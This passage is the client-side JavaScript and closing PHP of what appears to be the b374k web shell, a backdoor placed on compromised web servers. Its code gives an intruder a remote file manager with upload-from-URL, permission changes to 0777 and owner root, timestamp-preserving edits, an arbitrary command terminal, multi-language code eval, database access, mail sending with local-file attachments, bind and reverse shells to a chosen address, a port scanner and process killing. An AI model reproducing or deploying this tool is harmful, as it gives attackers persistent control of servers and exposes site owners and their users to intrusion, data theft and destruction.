Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";$('#explorer').html("<div id='xplUpload'>"+findfile+'<br>'+findfolder+'</div>');cbox_bind('xplUpload')}function find_go_file(){find_go('file')}function find_go_folder(){find_go('folder')}function find_go(findType){findPath=(findType=='file')?$('.findfilePath').val():$('.findFolderPath').val();findResult=(findType=='file')?$('.findfileResult'):$('.findResult');findName=(findType=='file')?$('.findfileFilename').val():$('.findFoldername').val();findNameRegex=(findType=='file')?$('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();findNameInsensitive=(findType=='file')?$('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();findContent=(findType=='file')?$('.findfileContains').val():"";findContentRegex=(findType=='file')?$('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";findContentInsensitive=(findType=='file')?$('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";findReadable=(findType=='file')?$('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();findWritable=(findType=='file')?$('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();findExecutable=(findType=='file')?$('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!='error'){findResult.html(res)}})}function ul_go_comp(){ul_go('comp')}function ul_go_url(){ul_go('url')}function ul(path){ulcomputer="<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";ulurl="<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";content=ulcomputer+'<br>'+ulurl+"<input type='hidden' class='ul_path' value='"+path+"'>";$('#explorer').html(content);ul_add_comp();ul_add_url();$('#ulDragNDrop').on('dragenter',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('dragover',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('drop',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$('.ulDragNDropResult');ulResult.html('');$.each(files,function(i){if(this){ulType='DragNDrop';filename=this.name;var formData=new FormData();formData.append('ulFile',this);formData.append('ulSaveTo',get_cwd());formData.append('ulFilename',filename);formData.append('ulType','comp');entry="<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);if(this.size<=0){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($('.ul_path').val());$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>")}function ul_add_url(path){path=html_safe($('.ul_path').val());$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:'POST',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener('progress',function(e){percent=Math.floor(e.loaded/e.total*100);$('.ulProgress'+ulType+i).html('( '+percent+'% )')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res='error'}if(res=='error'){$('.ulProgress'+ulType+i).html('( failed )')}else{$('.ulRes'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType=='comp')?$('.ulFileComp'):$('.ulFileUrl');ulResult=(ulType=='comp')?$('.ulCompResult'):$('.ulUrlResult');ulResult.html('');ulFile.each(function(i){if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){file=(ulType=='comp')?this.files[0]:this.value;filename=(ulType=='comp')?file.name:file.substring(file.lastIndexOf('/')+1);ulSaveTo=(ulType=='comp')?$('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;ulFilename=(ulType=='comp')?$('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;var formData=new FormData();formData.append('ulFile',file);formData.append('ulSaveTo',ulSaveTo);formData.append('ulFilename',ulFilename);formData.append('ulType',ulType);entry="<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);check=true;if(ulType=='comp'){check=(file.size<=0)}else check=(file=="");if(check){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save('edit')}function edit_save_hex(){edit_save('hex')}function edit_save(editType){editFilename=$('#editFilename').val();editInput=$('#editInput').val();editSuccess=false;preserveTimestamp='false';if($('.cBox').hasClass('cBoxSelected'))preserveTimestamp='true';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){editSuccess='success';view(editFilename,editType,preserveTimestamp)}else editSuccess='error'})}function mass_act(type){buffer=get_all_cbox_selected('xplTable','xpl_href');if((type=='cut')||(type=='copy')){localStorage.setItem('bufferLength',buffer.length);localStorage.setItem('bufferAction',type);$.each(buffer,function(i,v){localStorage.setItem('buffer_'+i,v)})}else if(type=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'\n'}}massBuffer=$.trim(massBuffer);if(bufferAction=='cut')title='move';else if(bufferAction=='copy')title='copy';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){if(type=='extract (tar)')arcType='untar';else if(type=='extract (tar.gz)')arcType='untargz';else if(type=='extract (zip)')arcType='unzip';if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'\n'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){date=new Date();rand=date.getTime();if(type=='compress (tar)'){arcType='tar';arcFilename=rand+'.tar'}else if(type=='compress (tar.gz)'){arcType='targz';arcFilename=rand+'.tar.gz'}else if(type=='compress (zip)'){arcType='zip';arcFilename=rand+'.zip'}if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'\n'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=''){if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'\n'});massBuffer=$.trim(massBuffer);title=type;line='';if(type=='chmod')line="<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='chown')line="<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";else if(type=='touch'){var now=new Date();line="<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>"}content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$('.cBoxSelected').removeClass('cBoxSelected');xpl_update_status()}function mass_act_go_tar(){mass_act_go('tar')}function mass_act_go_targz(){mass_act_go('targz')}function mass_act_go_zip(){mass_act_go('zip')}function mass_act_go_untar(){mass_act_go('untar')}function mass_act_go_untargz(){mass_act_go('untargz')}function mass_act_go_unzip(){mass_act_go('unzip')}function mass_act_go_paste(){mass_act_go('paste')}function mass_act_go_chmod(){mass_act_go('chmod')}function mass_act_go_chown(){mass_act_go('chown')}function mass_act_go_touch(){mass_act_go('touch')}function mass_act_go(massType){massBuffer=$.trim($('.massBuffer').val());massPath=get_cwd();massValue='';if(massType=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'\n'}}massBuffer=$.trim(massBuffer);if(bufferAction=='copy')massType='copy';else if(bufferAction=='cut')massType='cut'}}else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){massValue=$('.massValue').val()}else if((massType=='tar')||(massType=='targz')||(massType=='zip')){massValue=$('.massValue').val()}else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){massValue=$('.massValue').val()}if(massBuffer!=''){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!='error'){$('.boxresult').html(res+' Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.xplSelected').html('');else $('.xplSelected').html(', '+totalSelected+' item(s) selected')}function xpl_bind(){$('.navigate').off('click');$('.navigate').on('click',function(e){path=xpl_href($(this));navigate(path);hide_box()});$('.navbar').off('click');$('.navbar').on('click',function(e){path=$(this).attr('data-path');navigate(path);hide_box()});$('.newfolder').off('click');$('.newfolder').on('click',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$('.newfile').off('click');$('.newfile').on('click',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$('.del').off('click');$('.del').on('click',function(e){path=html_safe(xpl_href($(this)));del(path)});$('.view').off('click');$('.view').on('click',function(e){path=xpl_href($(this));view(path,'auto');hide_box()});$('.hex').off('click');$('.hex').on('click',function(e){path=xpl_href($(this));view(path,'hex')});$('#viewFullsize').off('click');$('#viewFullsize').on('click',function(e){src=$('#viewImage').attr('src');window.open(src)});$('.edit').off('click');$('.edit').on('click',function(e){path=xpl_href($(this));view(path,'edit');hide_box()});$('.ren').off('click');$('.ren').on('click',function(e){path=html_safe(xpl_href($(this)));ren(path)});$('.action').off('click');$('.action').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'file')});$('.actionfolder').off('click');$('.actionfolder').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dir')});$('.actiondot').off('click');$('.actiondot').on('click',function(e){path=html_safe(xpl_href($(this)));action(path,'dot')});$('.dl').off('click');$('.dl').on('click',function(e){path=html_safe(xpl_href($(this)));$('#form').append("<input type='hidden' name='download' value='"+path+"'>");$('#form').submit();$('#form').html('');hide_box()});$('.ul').off('click');$('.ul').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$('.find').off('click');$('.find').on('click',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$('#massAction').off('click');$('#massAction').on('change',function(e){type=$('#massAction').val();mass_act(type);$('#massAction').val('Action')});cbox_bind('xplTable','xpl_update_status')}function xpl_href(el){return el.parent().parent().attr('data-path')}function multimedia(path){var a=$('video').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$('#terminalInput').on('keydown',function(e){if(e.keyCode==13){cmd=$('#terminalInput').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd=='clear'||cmd=='cls'){$('#terminalOutput').html('')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=''){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res='<span class=\'strong\'>'+cwd+'></span>'+html_safe(cmd)+'\n'+res+'\n';$('#terminalOutput').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$('#terminalInput').val('');setTimeout("$('#terminalInput').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$('#terminalInput').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$('#evalType').val();evalInput=$('#evalInput').val();evalOptions=$('#evalOptions').val();evalArguments=$('#evalArguments').val();if(evalOptions=='Options/Switches')evalOptions='';if(evalArguments=='Arguments')evalArguments='';if($.trim(evalInput)!=''){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$('#evalOutput').html(output)}else{$('#evalOutput').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem('evalSupported'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem('evalSupported',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('#evalType').append("<option>"+k+"</option>")})}$('#evalType').on('change',function(e){if($('#evalType').val()=='php'){$('#evalAdditional').hide()}else{$('#evalAdditional').show()}});$('#evalOptions').on('focus',function(e){options=$('#evalOptions');if(options.val()=='Options/Switches')options.val('')});$('#evalOptions').on('blur',function(e){options=$('#evalOptions');if($.trim(options.val())=='')options.val('Options/Switches')});$('#evalArguments').on('focus',function(e){args=$('#evalArguments');if(args.val()=='Arguments')args.val('')});$('#evalArguments').on('blur',function(e){args=$('#evalArguments');if($.trim(args.val())=='')args.val('Arguments')});$('#evalInput').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$('#decodeStr').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$('#decodeStr').val();send_post({decodeStr:decodeStr},function(res){if(res!='error'){$('#decodeResult').html('');$('#decodeResult').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem('db_supported'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem('dbSupported',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$('#dbType').append("<option>"+k+"</option>")})}function db_bind(){$('#dbType').on('change',function(e){type=$('#dbType').val();if((type=='odbc')||(type=='pdo')){$('.dbHostLbl').html('DSN / Connection String');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').hide()}else if((type=='sqlite')||(type=='sqlite3')){$('.dbHostLbl').html('DB File');$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide()}else{$('.dbHostLbl').html('Host');$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show()}});$('#dbQuery').on('focus',function(e){if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){$('#dbQuery').val('')}});$('#dbQuery').on('blur',function(e){if($('#dbQuery').val()==''){$('#dbQuery').val('You can also press ctrl+enter to submit')}});$('#dbQuery').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$('#dbType').val();$('.boxNav').off('click');$('.boxNav').on('click',function(){$(this).next().toggle()});$('.dbTable').off('click');$('.dbTable').on('click',function(){type=$('#dbType').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!='error'){$('#dbNav').html(res);$('.dbHostRow').hide();$('.dbUserRow').hide();$('.dbPassRow').hide();$('.dbPortRow').hide();$('.dbConnectRow').hide();$('.dbQueryRow').show();$('#dbBottom').show();db_nav_bind()}else $('.dbError').html('Unable to connect')})}function db_disconnect(){$('.dbHostRow').show();$('.dbUserRow').show();$('.dbPassRow').show();$('.dbPortRow').show();$('.dbConnectRow').show();$('.dbQueryRow').hide();$('#dbNav').html('');$('#dbResult').html('');$('#dbBottom').hide()}function db_run(){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();dbQuery=$('#dbQuery').val();if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$('#dbType').val();dbHost=$('#dbHost').val();dbUser=$('#dbUser').val();dbPass=$('#dbPass').val();dbPort=$('#dbPort').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:'',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!='error'){$('#dbResult').html(res);$('.tblResult').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$('#dbDB').val();table=$('#dbTable').val();start=parseInt($('#dbStart').val());limit=parseInt($('#dbLimit').val());dbType=$('#dbType').val();if(type=='next'){start=start+limit}else if(type=='prev'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem('infoResult'))){$('.infoResult').html(infoResult)}else{info_refresh()}}function info_toggle(id){$('#'+id).toggle()}function info_refresh(){send_post({infoRefresh:'infoRefresh'},function(res){$('.infoResult').html(res);localStorage.setItem('infoResult',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($('#mailFrom').val());mailTo=$.trim($('#mailTo').val());mailSubject=$.trim($('#mailSubject').val());mailContent=$('#mailContent').val();mailAttachment='';if($('.mailAttachment')){mailAttachment=$('.mailAttachment').map(function(){return this.value}).get().join('{[|b374k|]}')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$('#mailResult').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";$('#mailTBody').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){splits=evalSupported.split(",");$.each(splits,function(i,k){$('.rsType').append("<option>"+k+"</option>")})}else setTimeout('rs_init()',1000);$('#packetContent').on('keydown',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go('bind')}function rs_go_back(){rs_go('back')}function rs_go(rsType){rsArgs="";if(rsType=='bind'){rsPort=parseInt($('#bindPort').val());rsLang=$('#bindLang').val();rsArgs=rsPort;rsResult=$('#bindResult')}else if(rsType=='back'){rsAddr=$('#backAddr').val();rsPort=parseInt($('#backPort').val());rsLang=$('#backLang').val();rsArgs=rsPort+' '+rsAddr;rsResult=$('#backResult')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html('Invalid port');return}if(rsArgs!=''){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$('#packetHost').val();packetStartPort=parseInt($('#packetStartPort').val());packetEndPort=parseInt($('#packetEndPort').val());packetTimeout=parseInt($('#packetTimeout').val());packetSTimeout=parseInt($('#packetSTimeout').val());packetContent=$('#packetContent').val();packetResult=$('#packetResult');packetStatus=$('#packetStatus');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html('Invalid start port');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html('Invalid end port');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html('Invalid connection timeout');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html('Invalid stream timeout');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html('');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$('#packet'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:''},function(res){if(res!='error'){$('#processes').html(res);sorttable.k($('#psTable').get(0));ps_bind()}})}function ps_bind(){$('.kill').off('click');$('.kill').on('click',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind('psTable','ps_update_status')}function ps_get_pid(el){return el.parent().parent().attr('data-pid')}function ps_update_status(){totalSelected=$('#psTable').find('.cBoxSelected').not('.cBoxAll').length;if(totalSelected==0)$('.psSelected').html('');else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )')}function kill_selected(){buffer=get_all_cbox_selected('psTable','ps_get_pid');allPid='';$.each(buffer,function(i,v){allPid+=v+' '});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title='Kill';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$('.allPid').val();if($.trim(allPid)!=''){send_post({allPid:allPid},function(res){if(res!='error'){$('.boxresult').html(res+' process(es) killed')}else $('.boxresult').html('Unable to kill process(es)');show_processes()})}}<?php
5548foreach($GLOBALS['module_to_load'] as $k){
5549echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }\n";}?>
5550</script>
5551<!--script end-->
5552</body>
5553</html><?php die();?>
5554
5555<?php
5556 }
5557?>
5558
5559<?php
5560 endif
5561?>